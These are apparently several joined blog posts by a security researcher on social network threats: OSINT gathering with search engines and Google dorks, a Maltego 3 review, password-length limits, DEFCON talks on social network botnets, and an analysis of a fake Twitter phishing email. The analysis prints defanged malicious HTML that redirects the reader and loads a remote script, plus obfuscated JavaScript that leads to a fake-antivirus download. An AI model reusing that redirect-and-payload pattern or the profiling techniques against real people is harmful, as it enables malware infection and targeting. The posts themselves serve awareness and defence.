First is some research several of my colleagues and I worked on.  The paper is titled: “Profiling User Passwords on Social Networks”.  The paper discusses the password problem that we all know and love as well as how you can determine passwords by what individuals post on their profiles.  We dive into tools from Robin Wood, Mark Baggett and others that can be used to pull keywords from profiles and other sources to create wordlists.  These wordlists can be used for brute force attacks on user accounts.  Next, we look at password complexity of several popular social networks with some research around brute force controls that some of the social networks have implemented, or in some cases haven’t.  Lastly, we discuss some things that users of social networks can do when choosing passwords.  You can download my paper here.

The other paper released is titled: “Security Gaps in Social Media Websites for Children Open Door to Attackers Aiming To Prey On Children” by my colleague Scott White.  In his paper he looks at the security of social media websites specifically designed for children.  This is some very detailed research and sheds some light on how predators are using these sites to target children as well as some issues that are unique to these types of social media websites.  You can download Scott’s paper here.

Speaking of social media…I’ll be presenting “Social Impact: Risks and Rewards of Social Media” at the Information Security Summit this Friday at 10am.  I’ll have the slide deck posted shortly after the conference.

Setup and UI
The first thing you will notice is the startup wizard (Figure 1) that walks you though setting up your license and updating the TAS to download new transforms.  The wizard is a welcome addition especially for new users.

Figure 1. The Maltego 3 startup wizard.

You will notice that the transform manager itself has also gotten a face lift with a column showing you if a disclaimer is required or not (Figure 2).

Figure 2. The transform manager now shows you which transforms have a disclaimer or not.

Another noticeable change is the UI.  It’s sleek and sexy.  I also like how the main menu is grouped into two tabs: Investigate and Manage (Figures 3 and 4).  The Paterva team did a great job grouping items so its easy to select what you need.

Figure 3. Menu items are grouped into two tabs now.  Items are much easier to select.  This is the “Manage” tab.

Figure 4. The “Investigate” tab.

Back to the main UI.  Adding objects is similar to before but it’s faster and more responsive.  Figure 5 is a screen shot of the entire UI.

Figure 5. Simple Twitter search using the new Maltego 3 UI.

Entities connected to each other are easier to view.  When arrows connect to entities they move around other objects. (Figure 6).

Figure 6. Maltego 3 offers some nice UI improvements when moving entities around the screen.

Site Links and Entity Listings
Two other items I want to mention are some improvements on how links to and from a site are shown and the entity listing feature.  The site links transform rocks.  You can now see incoming and outgoing links to a website entity.

Figure 7. Links in and out of a website are easy to obtain in Maltego 3.

Lastly, I found the entity listing view most helpful.  This allows you to search and sort all the entities in your Maltego UI into a nice easy to view list (Figure 8).  Also, the dynamic view is pretty sweet as well.

Figure 8.  The entity list view provides a great way to search for things within the UI.

You can get the commercial version of Maltego now and the Community Edition is right around the corner.  Version 2 users can also use your same license key with Maltego 3.  Win!  Also, if your hesitant about buying a commercial product like this, don’t be.  Maltego is quite affordable for all the power you get and well worth it.  Reconnaissance is fun again!   More information about Maltego 3 is here.

The Email
The following screen shot shows you what the email looks like.  It seems to come from Twitter but you will notice that there are some interesting clues that tell you this isn’t real.  First, the Twitter account mentioned is just the first part of the email address this was sent to.  This may or may not be your Twitter ID.  Second, check out the “Britney Spears home video feedback” subject line and “Antidepressants for your bed vigor” bold red in the message body.  Yep.  All the signs that this isn’t from Twitter.  Ok, nothing to see here right?

The Link
When you look at the source of the email, the link actually goes to “hxxp://89.161.148.201/cekfcq.html”. If you do click on this link several things happen:

An HTML page is loaded which redirects you to a shady Russian software site.  This site (software-oemdigital.ru) has a ton of phisy looking domains that were assigned to it since 6/11/2010.  The HTML file also loads a script which runs a PHP file on another server.  Let’s take a look at the response:

HTTP/1.0 200 OK
Connection: close
Content-Length: 250
Content-Type: text/html
Date: Wed, 23 Jun 2010 15:09:53 GMT
Last-Modified: Wed, 23 Jun 2010 08:30:01 GMT
Server: IdeaWebServer/v0.70

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=hxxp://software-oemdigital.ru”>
<title></title>

<html><head>
</head></html><script src=hxxp://eurolisting.net/Cgi-bin/markprint.php ></script>

The Russian software site loads as normal but something else is going on in the background from eurolisting.net and that PHP file.  Here is the response:

HTTP/1.1 200 OK
Connection: close
Date: Wed, 23 Jun 2010 17:46:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=1287414902; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/javascript

// <script>
function cxx(wcH){return wcH.replace(/%/g,”).replace(/['ow:Y]/g,fUp)}
cPH7j=’d:6fcY75meY6et.Y77rio74w65(Y22o3cdiv stylew3d:5cY22pw6fsitio6fnY3aaw62so6fl:75o74Y65o3b lefto3a:2d1000pxY3bw20tY6fp:3aw2d10w300pxw3bo5cw22:3ew22Y29w3b:66unctiY6fn :6973(a)o7bdY6fcu:6deY6et.w77rw69te(:22:3cifrao6d:65w20srcw3do5co22httw70Y3ao2f <SNIP>

All of the stuff following the script tag is obfuscated JavaScript.  I cut most of it out as it is quite lengthy.  Running this through jsunpack (a JavaScript unpacker) the script tries to load several things including some VBScript that seems to check for system properties, if you are running Firefox and if you have Java and/or Flash enabled as well as what seems to be a check for Adobe Reader plug-ins.  You can check out the script and the unpacked version over at the jsunpack site.

Now this is where it gets interesting.  In Internet Explorer the PHP file seems to generate a request to a URI that doesn’t exist: hxxp://89.161.148.201/zzz/ttt/ad3740b4.class, it 404′s.  You can also see this in the Wireshark capture below:

In Firefox it’s a different story.  The Russian software site still loads and something else attempts to get requested:

hxxp://wiki.insuranceplanningaz.com/main.php?h=89.161.148.201&i=JcmridQaq/ykgRj4UMpOy5Ec&e=4

This site will lead to some fun “fake AV” which prompts you to download a “setup.exe” file.

You probably don’t want to run that file.  The good news is that if you have the latest version of Firefox it will note this as a reported web forgery and tries to prevent you from going there.  One problem I see is that if you are running an older version of Firefox you might not get this notification.  I haven’t tested this with other browsers but your results may vary.

What does this all mean?  Well of course don’t click on shady emails like this.  You know better right?  Also, don’t think that because you use Firefox you are safe from attacks like these!  Attackers are catching on and I would suspect we will see more attacks targeting multiple browsers besides IE.  Wait, too late isn’t it?  Special thanks to Greg and Tyler for providing intel about these domains and some of the analysis.

You can view the slides on my SlideShare page and the video is available on Vimeo.  In addition, Robin and I showed two demos during the talk.  First was my Facebook Application Autopwn with BeEF Demo and Robin’s new KreiosC2 demo using LinkedIn with Windows support.  Who knows, there might be more social zombies in the future!

Regardless of settings I think that there are just *stupid* people using social networks.  In fact, I think that even if social networks didn’t exist these people would still be classified as ones with “no brain cells” (no pun intended with this example).  For example, here is tweet from a girl talking about a job interview she has scheduled with some company:

Now if that wasn’t bad enough…check out her profile picture:

I have nothing else to say but…FAIL.  Perhaps this is the start of a new series of blog posts. 

OSINT and Monitoring
After reading this series you are probably asking yourself…what do I do will all of these feeds and information that I have gathered?  Much of the information you have found about your company may be pretty overwhelming and you might find there is a ton of noise to filter through to get to the “good stuff”.  The next sections of this article will hopefully help you organize these feeds so you can begin a basic monitoring program.

What do you want to monitor?
This first thing you want to ask yourself…what do you want to monitor and what is most important?  You probably have noticed that it would be difficult to monitor the entire Internet so focus on what is relevant to your company or business.  Also, you want to pay particular attention to the areas of social media that your business has a presence on.  For example, if your business has a Facebook page, LinkedIn group and Twitter account you should be paying special attention to these first.  Why?  These are the sites that you have most likely allowed certain employees to use this form of media for business purposes.  Lastly, keep in mind that choosing what to monitor should be a group collaborative effort.  Get your marketing and public relations people involved in the decision making process.  As a bonus, it helps with making security everyone’s business.

Free tools to aggregate this information
Lets discuss briefly some tools to aggregate and monitor all the information sources you have decided as important.  There are two tools that I will talk about.  Yahoo! Pipes and RSS readers (specifically Google Reader).

1. Yahoo! Pipes
First, what is Yahoo! Pipes?  The best description is probably found on the Yahoo! Pipes main page:

“Pipes is a powerful composition tool to aggregate, manipulate, and mashup content from around the web.  Like Unix pipes, simple commands can be combined together to create output that meets your needs:

- combine many feeds into one, then sort, filter and translate it.
- geocode your favorite feeds and browse the items on an interactive map.
- grab the output of any Pipes as RSS, JSON, KML, and other formats.

The great thing about pipes is that there are already many different mashups that have already been created!  If you find one that doesn’t do what you like it to…you can simply copy a pipe, modify it and use it as your own.  Creating a pipe is really easy as well.  Yahoo! provides good documentation on their site even with video tutorials if you are lost.  Everything is done in a neat visual “drop-n-drag” GUI environment.  For example, you could take some of the sites that you find a bit more difficult to monitor, configure them in a pipe and send the output to RSS.  Once you have an RSS feed you can plug this into a RSS reader (like Google Reader) for monitoring.  Here are a few of my favorite pipes (pre-built) that can be used for monitoring:

Social Media Firehose
Social Media Monitoring Tool
Aggregate Social Media Feeds by User & Tag
Twitter Sniffer for Brands
Facebook Group RSS Feed, improved version here

2. Google Reader or your favorite RSS reader
The second part of your monitoring toolkit is to put your Yahoo! Pipe RSS feeds and the other feeds you determined as important and put them into the RSS reader of your choice.  I personally like Google Reader because it’s easy to use and manage.  However, you may prefer a desktop client or some other type of reader…all up to you.

What’s easy and works best?
First, assign someone to look at the information you are monitoring.  This should be someone in your information security department and someone with social media skill sets.  Next, create RSS Feeds from identified sites and utilize Yahoo! Pipes to customize and filter out content if you need to.  Finally, plug these feeds into your RSS reader and set up procedures for monitoring.  When will you check these feeds? What happens if the monitoring person is out?  Is there a backup for this person?  These are just a few of the things you need to think about when putting together these procedures.  There may be many more (or less) depending on your business.  Lastly, for sites you can’t monitor automatically determine manual methods and be sure to build procedures around them.

What is the company social media strategy? Do you even have one?
The first thing you need to do before you create policies or standards around what employees can or can’t do on social media/networking sites (related to your business), is to define a social media strategy.  Without a strategy defined it would be nearly impossible to determine a monitoring program without knowing what areas of social media your business is going to participate in.  This is a very important step and is something that your marketing/public relations/HR departments need to determine before security gets involved.

Internet postings or the “social media” policy
What if you have policies for Internet usage already in your company?  If you do, have you checked to see if they include specific things like social networks?  How about commenting on company news or issues on public social networks?  This is an area where many of the “standard” Infosec or HR policies don’t cover or don’t mention procedures about how employees use this new world of social media.  The other important part is that you need to partner with marketing/public relations/HR to collaborate on this policy.  The design and creation needs to have input from all of these areas of the business, especially these groups because they are going to be the main drivers for the use of social media.  Lastly, what is acceptable for employees to post?  Keep in mind that employees have Internet access *everywhere* nowadays.  iPhones, smartphones, Google phones…employees have these and guess what?  They are most likely using them at work.  How do you know that they are not commenting about company confidential business?  With this new generation of devices…the line between personal and company business will continue to blur. Oh, and this is just one simple example!

Examples of good policies to reference
So where do you go from here?  Create the policy!  The last part of this article has examples of good policies that you can reference when creating your own policies.  There is lots of good information in the following links and you can customize these for your own environment and business situation:

Cisco Internet Postings Policy
Intel Social Media Policy
4 Tips for Writing a Good Social Media Policy
10 Steps to Creating a Social Media Policy for your Company

Remember, monitoring the use of social media and creating policies around them is new and potentially uncharted territory for many organizations.  Hopefully with this series (and the related presentation) will help guide you and your organization to make the right decisions on finding information about your company, creating a monitoring program and working with your business partners to create the right policies for your business.

UPDATE: You can download my slide deck now on SlideShare.

Part one of the series discussed ways to gather OSINT on social networks and some of the challenges this creates.  Besides gathering OSINT on social networks there are many more sources of information that company information may be posted on.  These include blogs, message boards and document repositories.  One of the byproducts of finding documents is metadata, which I will explain in more detail below.

OSINT and Blogs
Blogs can be searched via any traditional search engine, however, the challenge with blogs are not necessarily the posts themselves but the comments.  When it comes to blog posts the comments are usually where the action is, especially when it comes to your current and former employees (even customers) commenting on highly sensitive pubic relations issues that a company might be conducting damage control over.  The other point to make about commenting is that employees might be posting things that be violating one of your policies and cause brand reputation problems.  Examples of this are all the countless leaks of profits, downsizing, confidential information and more that the news media reports on.  Wouldn’t be great to be monitoring blogs and their comments to find these things out before they go viral?

Listed below are some of the blog and comment search sites that I recommend you add to your monitoring arsenal which I will talk about creating in part three:

Social Mention http://socialmention.com (has *great* comment search and RSS for monitoring)
Google Blog Search http://blogsearch.google.com (great for creating RSS feeds and very customizable)
Blogpulse http://www.blogpulse.com/ (has comment search)
Technorati http://technorati.com/
IceRocket http://www.icerocket.com/
BackType http://www.backtype.com/ (has comment search)
coComment http://www.cocomment.com/ (has comment search)

OSINT and Message Boards
Message boards have always been a great source of OSINT.  Message boards date back before blogs were popular and are still widely used today.  Because there are so many message boards out there that could contain good OSINT you really need to use message board search engines unless you know about specific message boards that you know your employees use (or could).  Good examples of these are job related message boards like vault.com or Yahoo/Google Finance discussion forums or groups centered around stock trading.

Here is my list of message board search engines and a few that might be more specific for a company:

Google Groups http://groups.google.com/ (always a good choice for creating RSS feeds and very customizable)
Yahoo! Groups http://groups.yahoo.com/
Big Boards http://www.big-boards.com/ (huge list!)
BoardReader http://boardreader.com/ (very good search and RSS feeds of results)
Board Tracker http://boardtracker.com/ (very good search and RSS feeds of results)

More specific:
Craigslist Forums http://www.craigslist.org/about/sites (RSS available)
Vault www.vault.com (job/employee discussions)
Google Finance http://www.google.com/finance (search for company stock symbol and check out the discussions)
XSSed http://www.xssed.com/ (XSS security vulnerabilities)
Full Disclosure Mailing List http://seclists.org/fulldisclosure/ (Security vulnerability disclosure)

Document Repositories
Something that I have seen more of recently are sites called document repositories.  These sites either aggregate documents found from various sources on the Internet or people can upload their own documents and presentations for public sharing purposes.  These sites are probably my favorite since you will find all sorts of interesting information!  Here is my list of favorites:

Docstoc http://www.docstoc.com/
*Really good document search engine.  I wish there was better RSS for it but they have an API in which Yahoo! Pipes could probably be used.

Scribd http://www.scribd.com/ (RSS feed of results)
SlideShare http://www.slideshare.net/ (RSS feed of results)
PDF Search Engine http://www.pdf-search-engine.com/
Toodoc http://www.toodoc.com/

Great! You found documents.  Now what?
Once you find interesting documents be sure to check out the document metadata.  What is metadata? Metadata is simply “data about data”.  Metadata in documents is traditionally used for indexing files as well as finding out information about the document creator and what software was used to create the document.  It goes without saying that document metadata is a treasure trove of information that could be used against your company.  For example, vulnerable versions of software that can be used for client side attacks, OS versions, path disclosure, user id’s and more can all be viewed through document metadata.

There are lots of good tools to pull out metadata from documents and pictures. With some of these tools it’s even possible to write a script to automatically strip metadata from documents and pictures (start with the script Larry Pesce wrote in his SANS paper below).  However, the best method for removing metadata in my opinion is to make sure it’s removed (or limited) in the first place!  If you are creating a new document make sure you are removing it or not allowing the application to save some of the more revealing things like user id’s and OS/version numbers.  If you want more detail on metadata and how to use some of the tools that are available check out the great paper over at the SANS InfoSec Reading Room titled “Document Metadata, the Silent Killer created by Larry Pesce.  Here is a short list of tools I use (or have used) to analyze metadata:

EXIFtool http://www.sno.phy.queensu.ca/~phil/exiftool/ (my personal favorite! The swiss army knife of metadata tools)
Metagoofil http://www.edge-security.com/metagoofil.php
Maltego (built-in metadata transform) http://www.paterva.com/web4/index.php/maltego (another favorite!)
Meta-Extractor http://meta-extractor.sourceforge.net/
FOCA http://www.informatica64.com/foca/

What’s the deal with brand reputation?
One last point I want to make is about brand reputation.  You may ask yourself, how does brand reputation relate to information security? Why should we care?  I have found it interesting that many of us in information security have been asked to do more research on brand reputation issues because no one else in the company had those types of skill sets to monitor information.  Brand reputation is vital to an organization, even more so in this economy.  Think of the CIA triad…Confidentiality, Integrity and Availability.  All three have aspects that reflect brand reputation.  All of us in information security need to be thinking of brand reputation in our daily job.

Next up in part three
In part three I will talk about setting up a simple monitoring program with the sites and tools I have mentioned thus far.  This will include how to start using Yahoo! Pipes to aggregate many of the feeds I talked about.  I will also conclude with information on how to create a Internet Postings Policy or now better known as a Social Media Policy for your company and why this is more important then ever.

Next week I will be speaking at the 7th Annual Ohio Information Security Summit on “Enterprise Open Source Intelligence Gathering”.  Here is the talk abstract:

What does the Internet say about your company?  Do you know what is being posted by your employees, customers, or your competition?  We all know information or intelligence gathering is one of the most important phases of a penetration test.  However, gathering information and intelligence about your own company is even more valuable and can help an organization proactively determine the information that may damage your brand, reputation and help mitigate leakage of confidential information.

This presentation will cover what the risks are to an organization regarding publicly available open source intelligence.  How can your enterprise put an open source intelligence gathering program in place without additional resources or money.  What free tools are available for gathering intelligence including how to find your company information on social networks and how metadata can expose potential vulnerabilities about your company and applications.  Next, we will explore how to get information you may not want posted about your company removed and how sensitive metadata information you may not be aware of can be removed or limited.   Finally, we will discuss how to build a Internet posting policy for your company and why this is more important then ever.

Leading up to my talk at the summit this series of posts will focus on several of the main topics of my presentation.  I plan on referencing these posts during the presentation so attendees can find out more information about a specific topic that will be discussed.  I will touch on the following main points in this series: Part 1 – Gathering intelligence on social networks, Part 2 – Gathering intelligence from blogs/message boards/document repositories, Part 3 – Putting together a simple monitoring program/toolkit and creating a Internet postings (social media) policy for your company.

This first post in the series will focus on gathering intelligence on social networks.  The topic of gathering intelligence from social networks will be looked at in two ways.  First, through the eyes of the penetration tester or attacker.  Second, from a monitoring perspective relative to the enterprise and business.

What is OSINT?
Open Source Intelligence (OSINT) is basically finding publicly available information, analyzing it and then using this information for something.  That something can be extremely valuable from the eyes of an attacker.  For a fantastic overview of how OSINT is used specifically from a penetration testing perspective I suggest you check out the presentation that Chris Gates recently did at BruCON.  Chris goes into detail and provides good examples on how OSINT can be used in gathering intelligence on a network infrastructure as well as how to profile company employees.  All of the techniques Chris talks about should be used in a penetration testing methodology.

Why look for OSINT about your company?
I have found that OSINT is surprisingly often overlooked by most businesses from a security monitoring perspective.  If a company does any monitoring of public information at all it is usually found in your public relations and/or marketing groups.  These groups traditionally don’t look for things that could be used to target or profile an organization.  The same information that is being viewed by your PR/Marketing department needs to be looked at by your in house information security professionals.  Specifically, I suggest people in your information security department with an “attacker mindset” look at this OSINT.  This could be people on an internal penetration testing team or someone involved with the security assessments in your organization.  You should really ask yourself: If you don’t know what information is publicly available about your company…how can you properly defend yourself from attack?

OSINT and Social Networks
Social networks have recently become the 4th most popular method for online communication (even ahead of email) today.  If you are not looking for OSINT on social networks you are potentially missing major and vital pieces of information.  Having said that, searching for OSINT on social networks brings its own challenges and needs to be looked at slightly different then looking at other forms of OSINT.  For example, you might find that searching for information on social networks like Facebook different because there is both private and public information.  Facebook as an example has a built in search feature “behind” a valid login id and password.  Searching Facebook in this manner can yield better results then just going to Google or using a specific social network search engine (I’ll talk more about Facebook below).

1. Social Network Search Engines
There are lots of different search engines that specifically look for “public” information on some of the major social networks.  The disadvantage about these types of search engines is that they only pull public information that can be easily indexed.  Private information like the Facebook example above cannot be indexed without violating the TOS (Terms of Service) even though there are tools like Maltego that can have transforms written to “page scrape” this information (more on that in the Maltego section below). Here is a list of social network search engines that I recommend you check out to search for this type of public information (there are more…this is just the list I use).  While there are other ways to search specific social networks (like search.twitter.com or FriendFeed) the list below just mentions search engines that search multiple networks:

Wink http://wink.com/
Spock http://spock.com (has a search for “private” profile info but is a pay service…haven’t checked that feature out)
Social Mention http://socialmention.com/
WhosTalkin http://www.whostalkin.com/ (this is one of my favorites! Lots of socnets included!)
Samepoint http://www.samepoint.com/
OneRiot http://www.oneriot.com/
Kosmix http://www.kosmix.com/
YackTrack http://www.yacktrack.com
Keotag http://www.keotag.com/
Twoogle http://twoogel.com/ (Google/Twitter search combined)
KnowEm Username Check http://knowem.com/
Firefox Super Search Add-On https://addons.mozilla.org/en-US/firefox/addon/13308 (over 160 search engines built in)

Don’t forget about photo/video social networks and social bookmarking sites:

Pixsy http://www.pixsy.com/
Flickr Photo Search http://www.flickr.com/search/?s=rec&w=all&q=”comapny name”&m=text
YouTube/Google Video Search http://video.google.com/videosearch?q=”company name”
Junoba Social Bookmark Search http://www.junoba.com/ (Digg, Delicious, Reddit, etc..)

Pay Services (might be worth checking out):

Filtrbox http://www.filtrbox.com/
Vocus http://www.vocus.com/

2. Maltego
Maltego goes without saying…it’s probably the best tool to “visually” show you information found on some of the social networks and the relationships that information has connected to it.  I have found that Maltego works well for Twitter, Facebook, LinkedIn and MySpace profiles (publicly available).  The Twitter transforms are probably the highlight since you can dig into conversations as well.  There is also a Facebook transform that was specifically written to search within the Facebook network using a real user account.  However, this transform doesn’t work anymore due to recent structural changes to the way Facebook HTML was coded.  Note that this transform violates Facebook TOS since it did screen scraping but when it did work it was a great way to search status and group updates not available to public search engines!  If anyone wants to help get this transform working again there is a thread on the Maltego forum about it.

Lastly, if you want more information on Maltego and how to use it I suggest checking out the work Chris Gates has done in his Maltego tutorials here and here to learn more.  Keep in mind.  Maltego works great for finding information if you need it for a specific scope, like a pentest.  Maltego even works great if you need to dig a little deeper into something you find on a social network.  In terms of automating a monitoring process, I suggest using Google dorks, Yahoo Pipes!, and other techniques which we will talk about here and in future posts.

3. Google Dorks (Facebook, MySpace, LinkedIn)
While you can just simply type in your company name into Google and see what comes up…It’s way easier to use a little Google dork action to search for information on specific social networks.  As I stated before, this will only pull publicly available information but you might be surprised what you find about your company just in these searches!  Simply paste these into the Google search bar/window.  Note: change “bank of america” to whatever you like…not picking on bofa but there is a ton of information about them on social networks!

Facebook Dorks
Group Search: site:facebook.com inurl:group (bofa | “bank of america”)
Group Wall Posts Search: site:facebook.com inurl:wall (bofa | “bank of america”)
Pages Search: site:facebook.com inurl:pages (bofa | “bank of america”)
Public Profiles: allinurl: people “John Doe” site:facebook.com

*To search personal profile status updates (unless they were made public wall posts via pages or groups) you need to be logged into Facebook and use the internal Facebook search engine.  Setting your status updates privacy settings to “Everyone” is actually everyone in Facebook.  Rumor has it that next year “Everyone” will mean everyone on the Internet! FTW!

MySpace Dorks
Profiles: site:myspace.com inurl:profile (bofa | “bank of america”)
Blogs: site:myspace.com inurl:blogs (bofa | “bank of america”)
Videos: site:myspace.com inurl:vids (bofa | “bank of america”)
Jobs: site:myspace.com inurl:jobs (bofa | “bank of america”)

LinkedIn Dorks
Public Profiles: site:linkedin.com inurl:pub (bofa | “bank of america”)
Updated Profiles: site:linkedin.com inurl:updates (bofa | “bank of america”)
Company Profiles: site:linkedin.com inurl:companies (bofa | “bank of america”)

While these are Google dorks from the top three social networks (Twitter actually has a really good search engine, search.twitter.com, which I don’t think needs explaining), you can easily modify these for your own use and even include more advanced search operators to include or exclude additional queries.  The point of using Google dorks is to make it easier to quickly search for information on social networks without going to each site individually.  Still, with most social networks if you want to find private information you either need to login as a user or use some social engineering get the information you want.

What’s next?
In part three of this series I will talk about how to use Google dorks and various search queries for monitoring purposes.  Once you have the dorks you want to query, it’s trivial to plug these into Google Alerts to create RSS feeds.  Take your feeds and plug them into your favorite RSS reader and you have a simple monitoring tool.  More on this in part 3 including a section on aggregating this type of into and customizing it via Yahoo! Pipes which I like to think as the preferred and most customizable method for monitoring social networks.

Next up…in part 2 I will talk about how to find company information on blogs, message boards and document repositories.  Oh, and sprinkle a little bit of metadata into the mix as well.

What I find fascinating (like most things in security) is that now that there has been a real confirmed case of using Twitter for botnet C2 (Command & Control) the media seems to be jumping on it and even trying to determine “why it took so long for hackers to take Twitter to the dark side”.  Well, you can’t say we didn’t warn you.

The point that Robin, myself and others were trying to make way back in April was that this is a real threat and the bad guys have probably started to use Twitter for C2 even before Robin put out the code!  We were hoping that by releasing the code Twitter (and others) would see this as perhaps an early warning of things to come and perhaps prepare some defense for it (yes, we know it’s hard to put a defense together for something like this).  Now that we have a confirmed case used for malicious purposes we hope Twitter takes this seriously and can combat future C2 channels used for very bad things.  It always takes something bad to happen to create change…where have you heard that before?

You can download the slide deck from SlideShare that was in the DEFCON 17 CD.  We plan on giving the talk a few more times in the next few months so we don’t plan to release the full version of the slide deck yet.  However, we will post the video as soon as we get it.  The slides on the DEFCON CD are mostly text…no cool Zombie graphics (thanks to @JaneDelay for the Photoshop work BTW) but it should give you a good overview of the talk.

Robin Wood’s fantastic tool called KreiosC2 was also released during our talk.  I did a demo which is posted here and talked a lot about how the PoC code functions.  If you don’t know already…KreiosC2 is a tool written in Ruby which allows IRC like command and control of systems over Twitter.  Very cool!  Also, check out the redesign of Robin’s website.  Awesome.  Make sure you follow Robin on Twitter!  He is one you need to follow!

DEFCON was awesome as usual!  Lot’s of people this year..perhaps an increase from last year and of course the usual hijinks.  It was awesome catching up with everyone and meeting new people.  I attended lots of great talks including the “DEFCON Security Jam 2: The Fails Keep on Coming“.  This was one that you should see the video for…especially the presentations by @haxorthematrix and @myrcurial.  Speaking of @mycurial…you really need to see the awesome yet scary presentation that @myrcurial and @TiffanyRad did on Sunday titled “Your Mind: Legal Status, Rights and Securing Yourself“.  I highly recommend this talk!

The podcasters meetup was also a success!  Thanks to @pauldotcom for hosting and for throwing such an awesome party this year and a shout out to the guys over at I-Hacked.com!  The audio will be posted soon, probably over at the Security Justice site.

Pictures will be posted soon!  Still trying to recover from Vegas!

Who knows what the developers of this application were planning (malicious or others).  Regardless, you should never give a third party site (especially ones that look phishy like this one) your Twitter credentials.  In fact, I recommend you only use third party Twitter sites that use OAuth for authenticating you to Twitter.  That way you don’t have to give your credentials to the web site and worry about them being compromised.  Also, look to see what the purpose of the site is before you give the jewels away…if it’s a way to see who’s following you, enter credentials to get millions of followers, etc…then it’s probably a scam or just completely useless.

Think about this.  If the developer of a site like this wanted to they could easily use your captured Twitter credentials and start trying them on other social networks and/or web mail services.  They can then use these credentials for anything else they wanted.  Unfortunatly, most users of these sites use the same password for everything.  Again, this is a reminder to use a password manager if you are one of those that use the same user id/password for everything.  See this article for more information on password managers and social media web sites.

My part of the talk is focused on security and privacy concerns with social networks, fake accounts, using social networks for penetration testing and the proliferation of bots on social networks.  I will also be talking about a new version of Robin Wood’s fantastic “Twitterbot” (we actually have a new name for the tool which will be announced at DefCon).  I’ll be providing a live demo showing the new and improved features of his tool!  Big shoutout to Robin for all the work he did on this tool!

The other speaker is Kevin Johnson who you may know as the project lead for BASE and SamuraiWTF (Web Testing Framework).  Kevin is also a SANS instructor for Security 542 (Web App Penetration Testing and Ethical Hacking).  When he isnt managing projects and teaching he’s most likely abusing “playing with” social networks.  Kevin will be talking about SocialButterfly which is an application that can leverage and exploit various social network API’s.  He will also talk about manipulating social networks (and thier users) with third-party applications.  Remember: please accept any and all “friend requests” from Kevin Johnson!

From our talk abstract:

In Social Zombies: Your Friends want to eat Your Brains, Tom Eston and Kevin Johnson explore the various concerns related to malware delivery through social network sites. Ignoring the FUD and confusion being sowed today, this presentation will examine the risks and then present tools that can be used to exploit these issues.

This presentation begins by discussing how social networks work and the various privacy and security concerns that are caused by the trust mass that is social networks. We use this privacy confusion to exploit members and their companies during our penetration tests.

The presentation then discusses typical botnets and bot programs. Both the delivery of this malware through social networks and the use of these social networks as command and control channels will be examined.

Tom and Kevin next explore the use of browser-based bots and their delivery through custom social network applications and content. This research expands upon previous work by researchers such as Wade Alcorn and GNUCitizen and takes it into new C&C directions.

Finally, the information available through the social network APIs is explored using the bot delivery applications. This allows for complete coverage of the targets and their information.

How did this talk come together?  Kevin and I had some past converations regarding social network bots (mostly from my Notacon 6 talk) and decided that much of our research was similar so it made sense to “combine forces” to work on some of this research together.  Also, by working on bots and socnet bot delivery mechinisms we hope to raise awareness about some of the security and privacy threats that are out there, not just for the users of social networks.  Oh, and we both like Zombies.  See you at DefCon!

ANYWAY, back to my point….I sent out some tweets about changing your Twitter password and now being a good time to use a password manager like Keepass to manage multiple, complex passwords for everything…not just social media sites. One problem though is that each site might have different password length and complexity requirements. This becomes an annoying issue when you choose a randomly generated password like I suggest when using a password manager. You will encounter many sites that have specific requirements and others that do not. Obviously, the longer and more complex the password is the harder it is to crack so I suggest going as long as you can. Sad that there are these limitations on certain sites (blame the site developers) but if you set your random password generator to a very large number (I recommend at least 20 with a mix of everything you can throw at it including white spaces if the site will let you), it’s as good as your going to get.

Keep in mind, some applications even supported by the site (like the Facebook app for BlackBerry and iPhone) might not like passwords over a certain length or even certain special characters…you will know once you use these apps. Also, I mention Keepass as a password manager because you can use it on a BlackBerry or Windows Mobile device as well…an iPhone version is being worked on. So here you go…max password lengths for the major social media sites:

Twitter
None. I tried a 500 character password with everything but white spaces and it worked.

Facebook
None. I tried a 1000 character password with everything but white spaces and it worked.

MySpace
10 characters! Wow…really bad. Now I know another reason MySpace sucks.

LinkedIn
16 characters! This is interesting. LinkedIn truncates the password to 16 characters! Even if you put in a password larger then 16 characters it will only use the first 16, you can actually see this when entering in a password. No user notification, no info about this in the ‘help’ section. Sneaky and evil.

YouTube
None. Your account is tied to your Google account so is kind of a pain to change…but I didn’t find any issues with length or complexity.

On another note…I wonder if Twitter and Facebook truncate the passwords at a certain length and don’t tell you? Not sure…but it would be interesting to find out. This is another bad design as a they could easily just hash the entire password (which is a certain manageable length) and the hash is stored in the database not the large character password. Does this mean that sites like MySpace and LinkedIn are storing passwords in clear text? Also, I have run into other sites (non-social network) that actually truncate the password because when you try to login with an overly complex password…you get denied! Then you enter the cycle of doom…resetting your password thinking you fat fingered that password to begin with over and over. :-/

Are social media password limitations working against you?
Finally, just a quick point on this. Social media sites like MySpace and LinkedIn should NEVER have any limitations on password length or complexity. Certain complexity restrictions (like white space or strange characters) I could understand since you would have to use these passwords on mobile devices and other integrated apps. However, there are no technical limitations of just hashing the passwords to a constant length…and we all know storing passwords in a database in clear text is never a good thing.

Shouldn’t these social media sites that you already give your personal information to be trying to protect you the user as best as they can by letting you set a long and complex password? Let’s hope MySpace and LinkedIn get better at this real soon!

This article started from me actually seeing how much information there is about businesses within social networks. Both good and bad! The information I have found has been extremely valuable when conducting penetration tests. In fact, this information can be so valuable that you may be surprised how easy it is to use this information for social engineering or more…the possibilities are endless. As I pointed out in my article, get together with the business leaders in your marketing and/or public relations group and talk about social media and how to use it with a bit of security and privacy in mind. You might be surprised how receptive they are to the input from a security professional!

One thing I would add to Lenny’s article is that social media in general is the new “hotness” when it comes to information gathering and reconnaissance. If you are a penetration tester you really need to start leveraging all the information contained in social networks! Better yet, use Maltego which can help search multiple social networks and visually show you this data. You can even hit up the Twitter API with local transforms in the new version of Maltego…yummy!

Twitter photo via Jenny Hayden.

Below is the break down of events with some of my own comments and links to good articles that detail out everything that happened.

#1 Twitter Phishing Attack
I wrote a blog post about this a few days ago. Basically, this is no different then what you see in any other traditional phishing attack except that this is the first time Twitter was targeted on a large scale. Some have even said this was a “worm” because of the way that the phish propagated.

